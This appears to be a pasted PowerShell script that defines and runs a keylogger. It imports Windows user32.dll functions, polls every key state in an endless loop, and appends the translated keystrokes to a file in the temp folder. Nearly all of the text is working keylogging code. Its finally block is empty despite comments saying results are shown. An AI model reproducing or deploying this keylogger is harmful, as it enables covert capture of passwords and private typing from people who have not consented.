MaaLTwDR

1function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
2{
3  # Signatures for API Calls
4  $signatures = @'
5[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
6public static extern short GetAsyncKeyState(int virtualKeyCode); 
7[DllImport("user32.dll", CharSet=CharSet.Auto)]
8public static extern int GetKeyboardState(byte[] keystate);
9[DllImport("user32.dll", CharSet=CharSet.Auto)]
10public static extern int MapVirtualKey(uint uCode, int uMapType);
11[DllImport("user32.dll", CharSet=CharSet.Auto)]
12public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
13'@
14
15  # load signatures and make members available
16  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
17    
18  # create output file
19  $null = New-Item -Path $Path -ItemType File -Force
20
21  try
22  {
23    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
24
25    # create endless loop. When user presses CTRL+C, finally-block
26    # executes and shows the collected key presses
27    while ($true) {
28      Start-Sleep -Milliseconds 40
29      
30      # scan all ASCII codes above 8
31      for ($ascii = 9; $ascii -le 254; $ascii++) {
32        # get current key state
33        $state = $API::GetAsyncKeyState($ascii)
34
35        # is key pressed?
36        if ($state -eq -32767) {
37          $null = [console]::CapsLock
38
39          # translate scan code to real code
40          $virtualKey = $API::MapVirtualKey($ascii, 3)
41
42          # get keyboard state for virtual keys
43          $kbstate = New-Object Byte[] 256
44          $checkkbstate = $API::GetKeyboardState($kbstate)
45
46          # prepare a StringBuilder to receive input key
47          $mychar = New-Object -TypeName System.Text.StringBuilder
48
49          # translate virtual key
50          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
51
52          if ($success) 
53          {
54            # add key to logger file
55            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
56          }
57        }
58      }
59    }
60  }
61  finally
62  {
63       
64  }
65}
66
67# records all key presses until script is aborted by pressing CTRL+C
68# will then open the file with collected key codes
69Start-KeyLogger